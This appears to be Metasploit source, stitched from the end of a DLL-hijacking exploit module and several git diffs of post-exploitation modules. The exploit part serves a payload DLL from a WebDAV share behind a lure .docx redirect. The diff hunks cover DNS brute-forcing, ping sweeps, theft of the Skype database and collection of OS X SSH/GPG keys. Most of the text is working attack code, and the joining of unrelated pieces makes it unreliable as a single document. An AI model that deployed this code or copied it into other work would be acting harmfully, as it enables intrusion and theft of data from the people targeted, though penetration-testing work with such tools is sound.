myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
if (request.uri =~ /vmhgfs\.dll$/i)
print_status("GET => DLL Payload (#{request.uri})")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
if (request.uri =~ /\.docx$/i)
print_status("GET => DOCX (#{request.uri})")
send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
return
end
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
print_status("GET => REDIRECT (#{request.uri})")
resp = create_response(200, "OK")
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
print_status("GET => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if blacklisted_path?(path)
print_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
print_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
print_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
print_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_shares(path)
share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
# This method rejects requests that are known to break exploitation
def blacklisted_path?(uri)
return true if uri =~ /\.exe/i
return true if uri =~ /\.(config|manifest)/i
return true if uri =~ /desktop\.ini/i
return true if uri =~ /lib.*\.dll/i
return true if uri =~ /\.tmp$/i
return true if uri =~ /(pcap|packet)\.dll/i
false
end
def exploit
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@exploit_unc = "\\\\#{myhost}\\"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
super
end
end

View File

@ -32,23 +32,11 @@ class MetasploitModule < Msf::Post
# Run Method for when run command is issued
def run
domain = datastore['DOMAIN']
hostlst = datastore['NAMELIST']
a = []
print_status("Performing DNS Forward Lookup Bruteforce for Domain #{domain}")
if session.type =~ /shell/
# Only one thread possible when shell
thread_num = 1
# Use the shell platform for selecting the command
platform = session.platform
else
# When in Meterpreter the safest thread number is 10
thread_num = 10
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
platform = session.sys.config.sysinfo['OS']
end
name_list = []
if ::File.exist?(hostlst)
@ -57,9 +45,7 @@ class MetasploitModule < Msf::Post
end
end
platform = session.platform
case platform
case session.platform
when /win/i
cmd = "nslookup"
when /solaris/i
@ -67,8 +53,9 @@ class MetasploitModule < Msf::Post
else
cmd = "/usr/bin/host "
end
while(not name_list.nil? and not name_list.empty?)
1.upto(thread_num) do
while !name_list.nil? && !name_list.empty?
1.upto session.max_threads do
a << framework.threads.spawn("Module(#{self.refname})", false, name_list.shift) do |n|
next if n.nil?
vprint_status("Trying #{n.strip}.#{domain}")

View File

@ -44,21 +44,7 @@ class MetasploitModule < Msf::Post
iplst << ipa
end
if session.type =~ /shell/
# Only one thread possible when shell
thread_num = 1
# Use the shell platform for selecting the command
platform = session.platform
else
# When in Meterpreter the safest thread number is 10
thread_num = 10
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
platform = session.sys.config.sysinfo['OS']
end
platform = session.platform
case platform
case session.platform
when /win/i
cmd = "nslookup"
when /solaris/i
@ -66,12 +52,13 @@ class MetasploitModule < Msf::Post
else
cmd = "/usr/bin/host"
end
while(not iplst.nil? and not iplst.empty?)
1.upto(thread_num) do
while !iplst.nil? && !iplst.empty?
1.upto session.max_threads do
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
next if ip_add.nil?
r = cmd_exec(cmd, " #{ip_add}")
case platform
case session.platform
when /win/
if r =~ /(Name)/
r.scan(/Name:\s*\S*\s/) do |n|

View File

@ -55,22 +55,7 @@ class MetasploitModule < Msf::Post
a = []
if session.type =~ /shell/
# Only one thread possible when shell
thread_num = 1
# Use the shell platform for selecting the command
platform = session.platform
else
# When in Meterpreter the safest thread number is 10
thread_num = 10
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
platform = session.sys.config.sysinfo['OS']
end
platform = session.platform
case platform
case session.platform
when /win/i
ns_opt = " -query=srv "
cmd = "nslookup"
@ -82,13 +67,13 @@ class MetasploitModule < Msf::Post
cmd = "/usr/bin/host"
end
while(not srvrcd.nil? and not srvrcd.empty?)
1.upto(thread_num) do
while !srvrcd.nil? && !srvrcd.empty?
1.upto session.max_threads do
a << framework.threads.spawn("Module(#{self.refname})", false, srvrcd.shift) do |srv|
next if srv.nil?
r = cmd_exec(cmd, ns_opt + "#{srv}#{domain}")
case platform
case session.platform
when /win/
if r =~ /\s*internet\saddress\s\=\s/
nslookup_srv_consume("#{srv}#{domain}", r).each do |f|

View File

@ -40,21 +40,8 @@ class MetasploitModule < Msf::Post
end
iplst << ipa
end
if session.type =~ /shell/
# Only one thread possible when shell
thread_num = 1
# Use the shell platform for selecting the command
platform = session.platform
else
# When in Meterpreter the safest thread number is 10
thread_num = 10
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
platform = session.sys.config.sysinfo['OS']
end
platform = session.platform
case platform
case session.platform
when /win/i
count = " -n 1 "
cmd = "ping"
@ -69,10 +56,10 @@ class MetasploitModule < Msf::Post
while(not iplst.nil? and not iplst.empty?)
a = []
1.upto(thread_num) do
1.upto session.max_threads do
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
next if ip_add.nil?
if platform =~ /solaris/i
if session.platform =~ /solaris/i
r = cmd_exec(cmd, "-n #{ip_add} 1")
else
r = cmd_exec(cmd, count + ip_add)

View File

@ -7,19 +7,12 @@ require 'msf/core'
require 'rex'
require 'csv'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::OSX::System
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Gather Skype User Data Enumeration',
@ -52,9 +45,9 @@ class MetasploitModule < Msf::Post
return
end
if (session.platform =~ /java/) || (session.platform =~ /osx/)
# Make sure a Java Meterpreter on anything but OSX will exit
if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/
if session.platform =~ /java/
# Make sure that Java Meterpreter on anything but OSX will exit
if session.platform !~ /osx/
print_error("This session type and platform are not supported.")
return
end
@ -105,7 +98,7 @@ class MetasploitModule < Msf::Post
# Download file using Meterpreter functionality and returns path in loot for the file
def download_db(profile)
if session.type =~ /meterpreter/
if sysinfo['OS'] =~ /Mac OS X/
if session.platform =~ /osx/
file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true)
else
file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true)

View File

@ -108,18 +108,8 @@ class MetasploitModule < Msf::Post
# Run Method for when run command is issued
def run
if session.type =~ /shell/
# Use the shell platform for selecting the command
platform = session.platform
else
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
platform = session.sys.config.sysinfo['OS']
platform = 'osx' if platform =~ /darwin/i
end
case platform
case session.platform
when /win/i
listing = cmd_exec('netsh wlan show networks mode=bssid')
if listing.nil?
print_error("Unable to generate wireless listing.")
@ -136,7 +126,6 @@ class MetasploitModule < Msf::Post
end
when /osx/i
listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
if listing.nil?
print_error("Unable to generate wireless listing.")
@ -152,7 +141,6 @@ class MetasploitModule < Msf::Post
end
when /linux/i
listing = cmd_exec('iwlist scanning')
if listing.nil?
print_error("Unable to generate wireless listing.")
@ -169,7 +157,6 @@ class MetasploitModule < Msf::Post
end
when /solaris/i
listing = cmd_exec('dladm scan-wifi')
if listing.blank?
print_error("Unable to generate wireless listing.")
@ -182,7 +169,6 @@ class MetasploitModule < Msf::Post
end
when /bsd/i
interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
# Printing interface as this platform requires the interface to be specified
# it might not be detected correctly.

View File

@ -71,12 +71,7 @@ class MetasploitModule < Msf::Post
end
def os_set_wallpaper(file)
if session.type =~ /meterpreter/ && session.sys.config.sysinfo['OS'] =~ /darwin/i
platform = 'osx'
else
platform = session.platform
end
case platform
case session.platform
when /osx/
osx_set_wallpaper(file)
when /win/

View File

@ -53,7 +53,6 @@ class MetasploitModule < Msf::Post
#parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
require "rexml/document"
doc = REXML::Document.new(plist_content)
@ -132,11 +131,7 @@ class MetasploitModule < Msf::Post
when /shell/
osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp
end
if osx_ver =~/Server/
return true
else
return false
end
return osx_ver =~/Server/
end
# Enumerate the OS Version
@ -148,13 +143,10 @@ class MetasploitModule < Msf::Post
when /shell/
osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp
end
return osx_ver_num
end
def enum_conf(log_folder)
session_type = session.type
profile_datatypes = {
'OS' => 'SPSoftwareDataType',
'Network' => 'SPNetworkDataType',
@ -188,11 +180,11 @@ class MetasploitModule < Msf::Post
profile_datatypes.each do |name, profile_datatypes|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
if session_type =~ /meterpreter/
if session.type =~ /meterpreter/
returned_data = cmd_exec('system_profiler', profile_datatypes)
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
elsif session_type =~ /shell/
elsif session.type =~ /shell/
begin
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}", 15)
# Save data lo log folder
@ -207,11 +199,11 @@ class MetasploitModule < Msf::Post
print_status("\tEnumerating #{name}")
# Run commands according to the session type
begin
if session_type =~ /meterpreter/
if session.type =~ /meterpreter/
command_output = cmd_exec(command[0],command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
elsif session_type =~ /shell/
elsif session.type =~ /shell/
command_output = cmd_exec(command[0], command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
@ -222,9 +214,7 @@ class MetasploitModule < Msf::Post
end
end
def enum_accounts(log_folder,ver_num)
# Specific commands for Leopard and Snow Leopard
leopard_commands = {
'Users' => ['/usr/bin/dscacheutil', '-q user'],
@ -261,13 +251,11 @@ class MetasploitModule < Msf::Post
file_local_write(log_folder + "//#{name}.txt", command_output)
end
end
end
# Method for getting SSH and GPG Keys
def get_crypto_keys(log_folder)
# Run commands according to the session type
if session.type =~ /shell/
@ -349,7 +337,6 @@ class MetasploitModule < Msf::Post
end
end
end
end
end
end
@ -381,7 +368,6 @@ class MetasploitModule < Msf::Post
end
end
print_status("Screenshot Captured")
end
end